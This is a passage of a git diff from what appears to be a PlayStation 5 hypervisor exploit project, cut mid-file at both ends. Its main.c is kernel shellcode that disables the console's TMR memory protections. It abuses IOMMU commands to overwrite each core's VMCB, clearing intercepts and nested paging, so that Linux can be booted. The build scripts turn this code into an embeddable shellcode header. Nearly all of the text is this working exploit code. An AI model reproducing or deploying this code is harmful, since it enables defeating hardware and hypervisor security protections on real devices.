"=d"(high) : "c"(msr)); + return ((uint64_t)high << 32) | low; +} + +void wrmsr(uint32_t msr, uint64_t val) { + uint32_t low = val & 0xFFFFFFFF; + uint32_t high = val >> 32; + __asm__ __volatile__("wrmsr" : : "a"(low), "d"(high), "c"(msr)); +} + +// Map FreeBSD atomic_add_32 to GCC builtin +void atomic_add_32(volatile uint32_t *p, uint32_t v) { + __sync_fetch_and_add(p, v); +} + +// Map FreeBSD atomic_cmpset_32 to GCC builtin +int atomic_cmpset_32(volatile uint32_t *dst, uint32_t exp, uint32_t src) { + return __sync_bool_compare_and_swap(dst, exp, src); +} + +uint8_t get_cpu(void) { + uint32_t eax, ebx, ecx, edx; + __get_cpuid(1, &eax, &ebx, &ecx, &edx); + uint8_t cpu_id = (ebx >> 24) & 0xFF; + return cpu_id; +} diff --git a/shellcode_hypervisor/utils.h b/shellcode_hypervisor/utils.h index 0c25473..0b9b3e2 100644 --- a/shellcode_hypervisor/utils.h +++ b/shellcode_hypervisor/utils.h @@ -1,28 +1,28 @@ -#ifndef UTILS_H -#define UTILS_H - -#include - -uint32_t putc_uart(uint8_t tx_byte); -int printf(const uint8_t *msg); -uint8_t *u64_to_hex_custom(uint64_t val, uint8_t *dest); - -extern uint8_t hex_val[17]; - -inline int print_val64(uint64_t val) { - return printf(u64_to_hex_custom(val, hex_val)); -} - -void memcpy(void *dest, void *src, uint64_t len); -char *strcpy(char *dest, const char *src); -void *memset(void *s, int c, uint64_t n); - -void disable_intr(void); -void halt(void); -uint64_t rdmsr(uint32_t msr); -void wrmsr(uint32_t msr, uint64_t val); -void atomic_add_32(volatile uint32_t *p, uint32_t v); -int atomic_cmpset_32(volatile uint32_t *dst, uint32_t exp, uint32_t src); -uint8_t get_cpu(void); - -#endif \ No newline at end of file +#ifndef UTILS_H +#define UTILS_H + +#include + +uint32_t putc_uart(uint8_t tx_byte); +int printf(const uint8_t *msg); +uint8_t *u64_to_hex_custom(uint64_t val, uint8_t *dest); + +extern uint8_t hex_val[17]; + +inline int print_val64(uint64_t val) { + return printf(u64_to_hex_custom(val, hex_val)); +} + +void memcpy(void *dest, void *src, uint64_t len); +char *strcpy(char *dest, const char *src); +void *memset(void *s, int c, uint64_t n); + +void disable_intr(void); +void halt(void); +uint64_t rdmsr(uint32_t msr); +void wrmsr(uint32_t msr, uint64_t val); +void atomic_add_32(volatile uint32_t *p, uint32_t v); +int atomic_cmpset_32(volatile uint32_t *dst, uint32_t exp, uint32_t src); +uint8_t get_cpu(void); + +#endif diff --git a/shellcode_kernel/Makefile b/shellcode_kernel/Makefile index 828c588..e09f6ac 100644 --- a/shellcode_kernel/Makefile +++ b/shellcode_kernel/Makefile @@ -1,40 +1,40 @@ -ifndef PS5_PAYLOAD_SDK - PS5_PAYLOAD_SDK = /opt/ps5-payload-sdk/ -endif - - -ifeq ($(shell uname -m),aarch64) -CC = x86_64-linux-gnu-gcc -LD = x86_64-linux-gnu-ld -OBJCOPY = x86_64-linux-gnu-objcopy -else -CC = gcc -LD = ld -OBJCOPY = objcopy -endif -CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -m64 -I$(PS5_PAYLOAD_SDK)/target/include -LDFLAGS = -T linker.ld -TARGET = shellcode_kernel.elf -TEXT_BIN = shellcode_text.bin - -SRC = main.c utils.c kernel_code.c -OBJ = $(SRC:.c=.o) - -dump = shellcode_kernel.h - -all: $(dump) - -$(TARGET): $(OBJ) - $(CC) $(CFLAGS) $(LDFLAGS) $(OBJ) -o $(TARGET) - -%.o: %.c - $(CC) $(CFLAGS) -c $< -o $@ - -$(TEXT_BIN): $(TARGET) - $(OBJCOPY) -O binary -j .text $(TARGET) $(TEXT_BIN) - -clean: - rm -f $(OBJ) $(TARGET) $(TEXT_BIN) $(dump) - -$(dump): $(TEXT_BIN) - python3 bin_to_c_kernel.py $(TEXT_BIN) \ No newline at end of file +ifndef PS5_PAYLOAD_SDK + PS5_PAYLOAD_SDK = /opt/ps5-payload-sdk/ +endif + + +ifeq ($(shell uname -m),aarch64) +CC = x86_64-linux-gnu-gcc +LD = x86_64-linux-gnu-ld +OBJCOPY = x86_64-linux-gnu-objcopy +else +CC = gcc +LD = ld +OBJCOPY = objcopy +endif +CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -m64 -I$(PS5_PAYLOAD_SDK)/target/include +LDFLAGS = -T linker.ld +TARGET = shellcode_kernel.elf +TEXT_BIN = shellcode_text.bin + +SRC = main.c utils.c kernel_code.c +OBJ = $(SRC:.c=.o) + +dump = shellcode_kernel.h + +all: $(dump) + +$(TARGET): $(OBJ) + $(CC) $(CFLAGS) $(LDFLAGS) $(OBJ) -o $(TARGET) + +%.o: %.c + $(CC) $(CFLAGS) -c $< -o $@ + +$(TEXT_BIN): $(TARGET) + $(OBJCOPY) -O binary -j .text $(TARGET) $(TEXT_BIN) + +clean: + rm -f $(OBJ) $(TARGET) $(TEXT_BIN) $(dump) + +$(dump): $(TEXT_BIN) + python3 bin_to_c_kernel.py $(TEXT_BIN) diff --git a/shellcode_kernel/bin_to_c_kernel.py b/shellcode_kernel/bin_to_c_kernel.py index 9bf7e88..be19b7e 100644 --- a/shellcode_kernel/bin_to_c_kernel.py +++ b/shellcode_kernel/bin_to_c_kernel.py @@ -1,48 +1,48 @@ -import sys -import os - -def create_shellcode_header(input_file_text): - if not os.path.exists(input_file_text): - print(f"Error: {input_file_text} not found.") - return - - # Read binary data_text - with open(input_file_text, "rb") as f: - data_text = f.read() - - # Hardcoded output name - output_name = "shellcode_kernel.h" - array_name_text = "shellcode_kernel_text" - - with open(output_name, "w") as f: - f.write(f"// Generated from {input_file_text}\n") - f.write(f"#ifndef SHELLCODE_KERNEL_H\n") - f.write(f"#define SHELLCODE_KERNEL_H\n\n") - f.write(f"#include \n\n") - - f.write(f"#include \"shellcode_kernel_args.h\"\n\n") - - f.write(f"uint8_t {array_name_text}[] = {{\n ") - - for i, byte in enumerate(data_text): - f.write(f"0x{byte:02X}") - - if i < len(data_text) - 1: - f.write(", ") - - # New line every 12 bytes - if (i + 1) % 12 == 0: - f.write("\n ") - - f.write(f"\n}};\n\n") - f.write(f"uint64_t {array_name_text}_len = {len(data_text)};\n\n") - - f.write(f"#endif // SHELLCODE_KERNEL_H\n") - - print(f"Done! Created {output_name} ({len(data_text)} bytes)") - -if __name__ == "__main__": - if len(sys.argv) < 2: - print("Usage: python bin_to_c_kernel.py ") - else: - create_shellcode_header(sys.argv[1]) \ No newline at end of file +import sys +import os + +def create_shellcode_header(input_file_text): + if not os.path.exists(input_file_text): + print(f"Error: {input_file_text} not found.") + return + + # Read binary data_text + with open(input_file_text, "rb") as f: + data_text = f.read() + + # Hardcoded output name + output_name = "shellcode_kernel.h" + array_name_text = "shellcode_kernel_text" + + with open(output_name, "w") as f: + f.write(f"// Generated from {input_file_text}\n") + f.write(f"#ifndef SHELLCODE_KERNEL_H\n") + f.write(f"#define SHELLCODE_KERNEL_H\n\n") + f.write(f"#include \n\n") + + f.write(f"#include \"shellcode_kernel_args.h\"\n\n") + + f.write(f"uint8_t {array_name_text}[] = {{\n ") + + for i, byte in enumerate(data_text): + f.write(f"0x{byte:02X}") + + if i < len(data_text) - 1: + f.write(", ") + + # New line every 12 bytes + if (i + 1) % 12 == 0: + f.write("\n ") + + f.write(f"\n}};\n\n") + f.write(f"uint64_t {array_name_text}_len = {len(data_text)};\n\n") + + f.write(f"#endif // SHELLCODE_KERNEL_H\n") + + print(f"Done! Created {output_name} ({len(data_text)} bytes)") + +if __name__ == "__main__": + if len(sys.argv) < 2: + print("Usage: python bin_to_c_kernel.py ") + else: + create_shellcode_header(sys.argv[1]) diff --git a/shellcode_kernel/kernel_code.h b/shellcode_kernel/kernel_code.h index 5f72a62..ba0c49a 100644 --- a/shellcode_kernel/kernel_code.h +++ b/shellcode_kernel/kernel_code.h @@ -1,18 +1,18 @@ -#ifndef KERNEL_CODE_H -#define KERNEL_CODE_H - -#include - -#define ALIGN_UP(size, align) (((size) + (align) - 1) & ~((align) - 1)) - -static int dp_enable_link_phy(int lanenum, int linkrate); -static void patch_hv(void); -void boot_linux(void); - -extern int (*transmitter_control)(int cmd, void *control); -extern int (*mp3_initialize)(int vmid); -extern int (*mp3_invoke)(int cmd_id, void *req, void *rsp); - -extern uint64_t g_vbios; // for main.c - -#endif \ No newline at end of file +#ifndef KERNEL_CODE_H +#define KERNEL_CODE_H + +#include + +#define ALIGN_UP(size, align) (((size) + (align) - 1) & ~((align) - 1)) + +static int dp_enable_link_phy(int lanenum, int linkrate); +static void patch_hv(void); +void boot_linux(void); + +extern int (*transmitter_control)(int cmd, void *control); +extern int (*mp3_initialize)(int vmid); +extern int (*mp3_invoke)(int cmd_id, void *req, void *rsp); + +extern uint64_t g_vbios; // for main.c + +#endif diff --git a/shellcode_kernel/linker.ld b/shellcode_kernel/linker.ld index 269ff56..98598d4 100644 --- a/shellcode_kernel/linker.ld +++ b/shellcode_kernel/linker.ld @@ -1,18 +1,18 @@ -/* linker.ld */ -ENTRY(main) - -SECTIONS -{ - . = 0x1000; /* 0x1000 to avoid warnings from linker */ - .text : - { - *(.entry_point) - *(.text) - *(.text.*) - *(.data) - *(.data.*) - *(.rodata*) - *(.bss) - *(.bss.*) - } +/* linker.ld */ +ENTRY(main) + +SECTIONS +{ + . = 0x1000; /* 0x1000 to avoid warnings from linker */ + .text : + { + *(.entry_point) + *(.text) + *(.text.*) + *(.data) + *(.data.*) + *(.rodata*) + *(.bss) + *(.bss.*) + } } \ No newline at end of file diff --git a/shellcode_kernel/main.c b/shellcode_kernel/main.c index 909ea16..36857ab 100644 --- a/shellcode_kernel/main.c +++ b/shellcode_kernel/main.c @@ -1,290 +1,291 @@ -#include "main.h" -#include "kernel_code.h" -#include "utils.h" -#include - -#define MSR_EFER 0xC0000080 - -shellcode_kernel_args args = { - .fw_version = 0xDEADBEEF, .fun_printf = 0x0, .vmcb = {0}}; - -// We are being called instead of AcpiSetFirmwareWakingVector from -// acpi_wakeup_machdep -__attribute__((section(".entry_point"))) uint32_t main(uint64_t add1, - uint64_t add2) { - - // We will do main checks on .text only with a reference to .data to avoid - // fixed offsets first After NPTs are disabled, we can continue nornmally - // using all the variables in .data that are embedded in shellcode - volatile shellcode_kernel_args *args_ptr = - (volatile shellcode_kernel_args - *)0x11AA11AA11AA11AA; // To be replaced with proper address in .kdata - // by loader - - // "Hide" the pointer from the optimizer - __asm__ volatile("" : "+r"(args_ptr)); - - // We don't have required information - Abort - if ((args_ptr->fun_printf & 0xFFFF) == 0) { - goto out; - } - - // Activate UART on Kernel - uint32_t *uart_va = (uint32_t *)(args_ptr->dmap_base + 0xC0115110ULL); - *uart_va &= ~0x200; - uint32_t *override_char_va = (uint32_t *)args_ptr->kernel_uart_override; - *override_char_va = 0x0; - - uint64_t iommu_cb2_pa = - ((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_cb2_va); - uint64_t iommu_cb3_pa = - ((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_cb3_va); - uint64_t iommu_eb_pa = - ((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_eb_va); - - uint64_t unk; - int n_devices; - - // Reconfigure IOMMU calling the HV - int ret = ((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t, - int *))args_ptr->fun_hv_iommu_set_buffers)( - iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t) &unk, &n_devices); - - if (ret != 0) { - putc_uart(args_ptr->dmap_base, 'I'); - putc_uart(args_ptr->dmap_base, 'O'); - putc_uart(args_ptr->dmap_base, 'M'); - putc_uart(args_ptr->dmap_base, 'M'); - putc_uart(args_ptr->dmap_base, 'U'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 's'); - putc_uart(args_ptr->dmap_base, 'b'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 'X'); - putc_uart(args_ptr->dmap_base, '\n'); - goto out; - } - - // Wait for completion - ret = ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)(); - - if (ret == 0) { - - putc_uart(args_ptr->dmap_base, 'I'); - putc_uart(args_ptr->dmap_base, 'O'); - putc_uart(args_ptr->dmap_base, 'M'); - putc_uart(args_ptr->dmap_base, 'M'); - putc_uart(args_ptr->dmap_base, 'U'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 's'); - putc_uart(args_ptr->dmap_base, 'b'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 'O'); - putc_uart(args_ptr->dmap_base, 'K'); - putc_uart(args_ptr->dmap_base, '\n'); - - // Allow R/W on HV and Kernel area - if (tmr_disable(args_ptr->dmap_base)) { - - putc_uart(args_ptr->dmap_base, 'T'); - putc_uart(args_ptr->dmap_base, 'M'); - putc_uart(args_ptr->dmap_base, 'R'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 'X'); - putc_uart(args_ptr->dmap_base, '\n'); - - goto out; - } - - putc_uart(args_ptr->dmap_base, 'T'); - putc_uart(args_ptr->dmap_base, 'M'); - putc_uart(args_ptr->dmap_base, 'R'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 'O'); - putc_uart(args_ptr->dmap_base, 'K'); - putc_uart(args_ptr->dmap_base, '\n'); - - // Patch HV - patch_vmcb(args_ptr); - - putc_uart(args_ptr->dmap_base, 'V'); - putc_uart(args_ptr->dmap_base, 'M'); - putc_uart(args_ptr->dmap_base, 'C'); - putc_uart(args_ptr->dmap_base, 'B'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 'O'); - putc_uart(args_ptr->dmap_base, 'K'); - putc_uart(args_ptr->dmap_base, '\n'); - - // Re-do this to force a VMEXIT without HV injecting faults - ((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t, - int *))args_ptr->fun_hv_iommu_set_buffers)( - iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t) &unk, &n_devices); - ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)(); - - putc_uart(args_ptr->dmap_base, 'B'); - putc_uart(args_ptr->dmap_base, 'a'); - putc_uart(args_ptr->dmap_base, 'c'); - putc_uart(args_ptr->dmap_base, 'k'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 'f'); - putc_uart(args_ptr->dmap_base, 'r'); - putc_uart(args_ptr->dmap_base, 'o'); - putc_uart(args_ptr->dmap_base, 'm'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 'H'); - putc_uart(args_ptr->dmap_base, 'V'); - putc_uart(args_ptr->dmap_base, '\n'); - - // We can now initiate the global args variable and use it, as NPTs are - // disabled - init_global_pointers(args_ptr); - - printf("HV_Defeat: we should be ready for Linux part\n"); - - boot_linux(); - printf("Linux prepared OK\n"); - - // Activate HV UART - Not really needed but good for debugging - // *(uint32_t*)PHYS_TO_DMAP(args.hv_uart_override_pa) = 0x0; - - printf("Calling smp_rendezvous to exit all cores to HV with ptr: %016lx\n", - (uint64_t)vmmcall_dummy); - printf("Good Bye VM :)\n"); - - smp_rendezvous(smp_no_rendevous_barrier, vmmcall_dummy, - smp_no_rendevous_barrier, NULL); - - printf("We shouldn't be here :(\n"); - } else { - putc_uart(args_ptr->dmap_base, 'I'); - putc_uart(args_ptr->dmap_base, 'O'); - putc_uart(args_ptr->dmap_base, 'M'); - putc_uart(args_ptr->dmap_base, 'M'); - putc_uart(args_ptr->dmap_base, 'U'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 's'); - putc_uart(args_ptr->dmap_base, 'b'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 'N'); - putc_uart(args_ptr->dmap_base, 'O'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 'O'); - putc_uart(args_ptr->dmap_base, 'K'); - putc_uart(args_ptr->dmap_base, '\n'); - } - -out: - return 0; -} - -__attribute__((noinline, optimize("O0"), naked)) void vmmcall_dummy(void) { - __asm__ volatile("mov $0x1, %rax \n" - "vmmcall \n" - "ret \n"); -} - -void halt(void) { __asm__ __volatile__("hlt"); } - -// Submit a single 16-byte command and wait for completion -__attribute__((noinline, optimize("O0"))) void -iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd) { - // Read the offset of current tail of command list - uint64_t curr_tail = *( - (uint64_t *)args_ptr->iommu_mmio_va + - IOMMU_MMIO_CB_TAIL / - 8); // Offset in IOMMU Command Buffer - Downscale the size of the ptr - uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) & - IOMMU_CB_MASK; // Offset in IOMMU Command Buffer - - // We write the command in the current empty entry - uint64_t *cmd_buffer = - (uint64_t *)args_ptr->iommu_cb2_va + curr_tail / 8; // Downscale the size of the ptr - // Copy 0x10 bytes (CMD Size) - cmd_buffer[0] = cmd[0]; - cmd_buffer[1] = cmd[1]; - - __asm__ volatile("" : : : "memory"); // Prevent reordering - *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8) = - next_tail; // Indicate the IOMMU that there is a CMD - Downscale the size - // of the ptr - - // Wait CMD processing completion - Head will be the Tail - while (*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_HEAD / 8) != - *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8)) - ; -} - -// Write 8 bytes to a physical address using IOMMU completion wait store -__attribute__((noinline, optimize("O0"))) void -iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa, uint64_t val) { - uint32_t cmd[4] = {0}; - cmd[0] = (uint32_t)(pa & 0xFFFFFFF8) | 0x05; - cmd[1] = ((uint32_t)(pa >> 32) & 0xFFFFF) | 0x10000000; - cmd[2] = (uint32_t)(val); - cmd[3] = (uint32_t)(val >> 32); - iommu_submit_cmd(args_ptr, (uint64_t *)cmd); -} - -__attribute__((noinline, optimize("O0"))) void -patch_vmcb(volatile shellcode_kernel_args *args_ptr) { - for (int i = 0; i < 16; i++) { - uint64_t pa = args_ptr->vmcb[i]; - // args_ptr->fun_printf("Patching core: %02d VMCB_PA: 0x%016lx\n", i, - // args_ptr->vmcb[i]); - iommu_write8_pa(args_ptr, pa + 0x00, - 0x0000000000000000ULL); // Clear all intercepts (R/W) to - // CR0-CR15 and DR0-DR15 - iommu_write8_pa(args_ptr, pa + 0x08, - 0x0004000000000000ULL); // Clear all intercepts of except. - // vectors but CPUID - iommu_write8_pa(args_ptr, pa + 0x10, - 0x000000000000000FULL); // Clear all except VMMCALL, VMLOAD, - // VMSAVE, VMRUN - iommu_write8_pa(args_ptr, pa + 0x58, - 0x0000000000000001ULL); // Guest ASID ... 1 ? - iommu_write8_pa(args_ptr, pa + 0x90, - 0x0000000000000000ULL); // Disable NP_ENABLE - } -} - -__attribute__((noinline, optimize("O0"))) uint32_t tmr_read(uint64_t dmap, - uint32_t addr) { - *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr; - return *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF); -} - -__attribute__((noinline, optimize("O0"))) void -tmr_write(uint64_t dmap, uint32_t addr, uint32_t val) { - *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr; - *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF) = val; -} - -// On 1.xx and 2.xx the HV is embedded in kernel area on TMR 16 -// On 3.xx and 4.xx there are multiple TMR protecting HV and Kernel -__attribute__((noinline, optimize("O0"))) int tmr_disable(uint64_t dmap) { - for (int i = 0; i < 24; i++) { - if (tmr_read(dmap, TMR_CONFIG(i)) != 0) { - tmr_write(dmap, TMR_CONFIG(i), 0); - if (tmr_read(dmap, TMR_CONFIG(i)) != 0) { - return -1; - } - } - } - return 0; -} - -void init_global_pointers(volatile shellcode_kernel_args *args_ptr) { - - memcpy(&args, (void *)args_ptr, sizeof(args)); - - printf = (void (*)(const char *, ...)) args.fun_printf; - smp_rendezvous = (void (*)(void (*)(void), void (*)(void), - void (*)(void), void *)) args.fun_smp_rendezvous; - smp_no_rendevous_barrier = (void (*)(void)) args.fun_smp_no_rendevous_barrier; - - transmitter_control = (int (*) (int, void*)) args.fun_transmitter_control; - mp3_initialize = (int (*) (int)) args.fun_mp3_initialize; - mp3_invoke = (int (*) (int, void*, void*)) args.fun_mp3_invoke; - g_vbios = args.g_vbios; -} \ No newline at end of file +#include "main.h" +#include "kernel_code.h" +#include "utils.h" +#include + +#define MSR_EFER 0xC0000080 + +shellcode_kernel_args args = { + .fw_version = 0xDEADBEEF, .fun_printf = 0x0, .vmcb = {0}}; + +// We are being called instead of AcpiSetFirmwareWakingVector from +// acpi_wakeup_machdep +__attribute__((section(".entry_point"))) uint32_t main(uint64_t add1, + uint64_t add2) { + + // We will do main checks on .text only with a reference to .data to avoid + // fixed offsets first After NPTs are disabled, we can continue nornmally + // using all the variables in .data that are embedded in shellcode + volatile shellcode_kernel_args *args_ptr = + (volatile shellcode_kernel_args + *)0x11AA11AA11AA11AA; // To be replaced with proper address in .kdata + // by loader + + // "Hide" the pointer from the optimizer + __asm__ volatile("" : "+r"(args_ptr)); + + // We don't have required information - Abort + if ((args_ptr->fun_printf & 0xFFFF) == 0) { + goto out; + } + + // Activate UART on Kernel + uint32_t *uart_va = (uint32_t *)(args_ptr->dmap_base + 0xC0115110ULL); + *uart_va &= ~0x200; + uint32_t *override_char_va = (uint32_t *)args_ptr->kernel_uart_override; + *override_char_va = 0x0; + + uint64_t iommu_cb2_pa = + ((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_cb2_va); + uint64_t iommu_cb3_pa = + ((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_cb3_va); + uint64_t iommu_eb_pa = + ((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_eb_va); + + uint64_t unk; + int n_devices; + + // Reconfigure IOMMU calling the HV + int ret = ((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t, + int *))args_ptr->fun_hv_iommu_set_buffers)( + iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t)&unk, &n_devices); + + if (ret != 0) { + putc_uart(args_ptr->dmap_base, 'I'); + putc_uart(args_ptr->dmap_base, 'O'); + putc_uart(args_ptr->dmap_base, 'M'); + putc_uart(args_ptr->dmap_base, 'M'); + putc_uart(args_ptr->dmap_base, 'U'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 's'); + putc_uart(args_ptr->dmap_base, 'b'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 'X'); + putc_uart(args_ptr->dmap_base, '\n'); + goto out; + } + + // Wait for completion + ret = ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)(); + + if (ret == 0) { + + putc_uart(args_ptr->dmap_base, 'I'); + putc_uart(args_ptr->dmap_base, 'O'); + putc_uart(args_ptr->dmap_base, 'M'); + putc_uart(args_ptr->dmap_base, 'M'); + putc_uart(args_ptr->dmap_base, 'U'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 's'); + putc_uart(args_ptr->dmap_base, 'b'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 'O'); + putc_uart(args_ptr->dmap_base, 'K'); + putc_uart(args_ptr->dmap_base, '\n'); + + // Allow R/W on HV and Kernel area + if (tmr_disable(args_ptr->dmap_base)) { + + putc_uart(args_ptr->dmap_base, 'T'); + putc_uart(args_ptr->dmap_base, 'M'); + putc_uart(args_ptr->dmap_base, 'R'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 'X'); + putc_uart(args_ptr->dmap_base, '\n'); + + goto out; + } + + putc_uart(args_ptr->dmap_base, 'T'); + putc_uart(args_ptr->dmap_base, 'M'); + putc_uart(args_ptr->dmap_base, 'R'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 'O'); + putc_uart(args_ptr->dmap_base, 'K'); + putc_uart(args_ptr->dmap_base, '\n'); + + // Patch HV + patch_vmcb(args_ptr); + + putc_uart(args_ptr->dmap_base, 'V'); + putc_uart(args_ptr->dmap_base, 'M'); + putc_uart(args_ptr->dmap_base, 'C'); + putc_uart(args_ptr->dmap_base, 'B'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 'O'); + putc_uart(args_ptr->dmap_base, 'K'); + putc_uart(args_ptr->dmap_base, '\n'); + + // Re-do this to force a VMEXIT without HV injecting faults + ((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t, + int *))args_ptr->fun_hv_iommu_set_buffers)( + iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t)&unk, &n_devices); + ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)(); + + putc_uart(args_ptr->dmap_base, 'B'); + putc_uart(args_ptr->dmap_base, 'a'); + putc_uart(args_ptr->dmap_base, 'c'); + putc_uart(args_ptr->dmap_base, 'k'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 'f'); + putc_uart(args_ptr->dmap_base, 'r'); + putc_uart(args_ptr->dmap_base, 'o'); + putc_uart(args_ptr->dmap_base, 'm'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 'H'); + putc_uart(args_ptr->dmap_base, 'V'); + putc_uart(args_ptr->dmap_base, '\n'); + + // We can now initiate the global args variable and use it, as NPTs are + // disabled + init_global_pointers(args_ptr); + + printf("HV_Defeat: we should be ready for Linux part\n"); + + boot_linux(); + printf("Linux prepared OK\n"); + + // Activate HV UART - Not really needed but good for debugging + // *(uint32_t*)PHYS_TO_DMAP(args.hv_uart_override_pa) = 0x0; + + printf("Calling smp_rendezvous to exit all cores to HV with ptr: %016lx\n", + (uint64_t)vmmcall_dummy); + printf("Good Bye VM :)\n"); + + smp_rendezvous(smp_no_rendevous_barrier, vmmcall_dummy, + smp_no_rendevous_barrier, NULL); + + printf("We shouldn't be here :(\n"); + } else { + putc_uart(args_ptr->dmap_base, 'I'); + putc_uart(args_ptr->dmap_base, 'O'); + putc_uart(args_ptr->dmap_base, 'M'); + putc_uart(args_ptr->dmap_base, 'M'); + putc_uart(args_ptr->dmap_base, 'U'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 's'); + putc_uart(args_ptr->dmap_base, 'b'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 'N'); + putc_uart(args_ptr->dmap_base, 'O'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 'O'); + putc_uart(args_ptr->dmap_base, 'K'); + putc_uart(args_ptr->dmap_base, '\n'); + } + +out: + return 0; +} + +__attribute__((noinline, optimize("O0"), naked)) void vmmcall_dummy(void) { + __asm__ volatile("mov $0x1, %rax \n" + "vmmcall \n" + "ret \n"); +} + +void halt(void) { __asm__ __volatile__("hlt"); } + +// Submit a single 16-byte command and wait for completion +__attribute__((noinline, optimize("O0"))) void +iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd) { + // Read the offset of current tail of command list + uint64_t curr_tail = *( + (uint64_t *)args_ptr->iommu_mmio_va + + IOMMU_MMIO_CB_TAIL / + 8); // Offset in IOMMU Command Buffer - Downscale the size of the ptr + uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) & + IOMMU_CB_MASK; // Offset in IOMMU Command Buffer + + // We write the command in the current empty entry + uint64_t *cmd_buffer = (uint64_t *)args_ptr->iommu_cb2_va + + curr_tail / 8; // Downscale the size of the ptr + // Copy 0x10 bytes (CMD Size) + cmd_buffer[0] = cmd[0]; + cmd_buffer[1] = cmd[1]; + + __asm__ volatile("" : : : "memory"); // Prevent reordering + *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8) = + next_tail; // Indicate the IOMMU that there is a CMD - Downscale the size + // of the ptr + + // Wait CMD processing completion - Head will be the Tail + while (*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_HEAD / 8) != + *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8)) + ; +} + +// Write 8 bytes to a physical address using IOMMU completion wait store +__attribute__((noinline, optimize("O0"))) void +iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa, + uint64_t val) { + uint32_t cmd[4] = {0}; + cmd[0] = (uint32_t)(pa & 0xFFFFFFF8) | 0x05; + cmd[1] = ((uint32_t)(pa >> 32) & 0xFFFFF) | 0x10000000; + cmd[2] = (uint32_t)(val); + cmd[3] = (uint32_t)(val >> 32); + iommu_submit_cmd(args_ptr, (uint64_t *)cmd); +} + +__attribute__((noinline, optimize("O0"))) void +patch_vmcb(volatile shellcode_kernel_args *args_ptr) { + for (int i = 0; i < 16; i++) { + uint64_t pa = args_ptr->vmcb[i]; + // args_ptr->fun_printf("Patching core: %02d VMCB_PA: 0x%016lx\n", i, + // args_ptr->vmcb[i]); + iommu_write8_pa(args_ptr, pa + 0x00, + 0x0000000000000000ULL); // Clear all intercepts (R/W) to + // CR0-CR15 and DR0-DR15 + iommu_write8_pa(args_ptr, pa + 0x08, + 